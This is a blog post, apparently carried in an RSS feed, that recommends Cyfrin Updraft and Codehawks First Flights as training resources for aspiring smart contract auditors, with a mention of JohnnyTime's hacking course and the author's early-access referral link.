            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nEQyMOm_Xex0LRlPu4rVTA.png" /></figure><p><em>Want to be a smart contract auditor? Click </em><a href="https://cyfrin.deform.cc/early-access?referral=pegzzCYfXYUa"><strong><em>here</em></strong></a><em> for early access to the Cyfrin Updraft platform.</em></p><p><em>Contact me for learning paths, advice and real-world challenges by email at </em><strong><em>aitor.zaldua@draftdigital.xyz </em></strong><em>or in X as </em><a href="http://twitter.com/azdraft_"><strong><em>@azdraft_</em></strong></a><em>.</em></p><p>Just a few months ago, learning to be a smart contract auditor was more complicated than finding pearls in shells submerged in the Mariana Trench. You had to navigate through various resources and applications to gather the knowledge you needed to get started.</p><p>Suddenly the sun came out and we finally had all the knowledge we needed to learn in one place. <a href="https://smartcontractshacking.com/">JohnnyTime’s Smart Contract Hacking Course</a> is a complete course that includes tokens, defi and vulnerabilities, i.e. a 100% effective “how to become”. You have <a href="https://medium.com/p/855782163546">all the information here</a>, although I will have to update the article as @RealJohnnyTime is constantly upgrading the course.</p><p>And now we have other space actors moving in this direction. And leading actors with several Oscars behind them. Let me introduce you to Cyfrin Updraft, the Cyfrin Educational platform.</p><h4>What is Cyfrin Updraft</h4><p>Cyfrin Updraft is project number 3 of the web security company <a href="https://www.cyfrin.io/">Cyfrin</a>. It is a learning environment that will initially have the following paths available:</p><ol><li>Solidity 101</li><li>Foundry 101</li><li>Advanced Foundry</li><li>Security &amp; Auditing</li></ol><p>Access is still restricted, <a href="https://cyfrin.deform.cc/early-access?referral=pegzzCYfXYUa"><strong>but you can apply for early access via this link</strong>.</a></p><h4>Who is behind Cyfrin Updraft</h4><p>It is a joint project, but there is one visible head: @PatrickAlphaC.</p><p>For years, Patrick Collins has been teaching web3 from different angles, Solidity programming, Hardhat, Foundry… it is impossible to enumerate how much he has given to the community and praise enough how relevant he has been in the training of all of us.</p><p>Now, all your training is organised on this platform, to centralise all your training work.</p><p>As there is no access yet, I can’t judge if the final result will be positive, but with Cyfrin and Patrick Collins behind it, the hype is at an all-time high.</p><p>And the reason is none other than <a href="https://www.codehawks.com/first-flights">Codehawks First Flights</a>.</p><h4>Codehawks First Flights</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxE5vaP26t_mbN8vjbJGGw.png" /></figure><p>Codehawks First Flights is Cyfrin’s project number 2 and <a href="https://medium.com/@aitorzaldua/new-as-smart-contract-auditor-try-codehawks-first-flights-01cf5e348df5">I wrote an article about it when it started</a>. These are small and not-so-small projects, similar to those an auditor might find on contest platforms, but increasing in difficulty so that novice auditors can gradually develop their careers.</p><p>And it is incredible. Because from number 1, a simple code about passwords, to the third one I was involved in, a complete flash loan protocol, we were able to analyse, test, document and be judged as on any platform, but with deliberately broken code.</p><p>In this case, yes, after testing it, I have to say that it is one of the great ideas and one of the best resources to become a smart contract auditor.</p><h4>Conclusions</h4><p>2023 is officially the year of web3 security. At long last, a variety of options are being built from the ground up to put the careers of future auditors on the right track.</p><p>Being passionate about teaching and security, I am really enjoying all these moves and look forward to discovering more of this platform.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbf13d61e323" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/new-free-training-to-become-smart-contract-auditor-by-cyfrin-fbf13d61e323">New Free training to become Smart Contract Auditor, by Cyfrin.</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>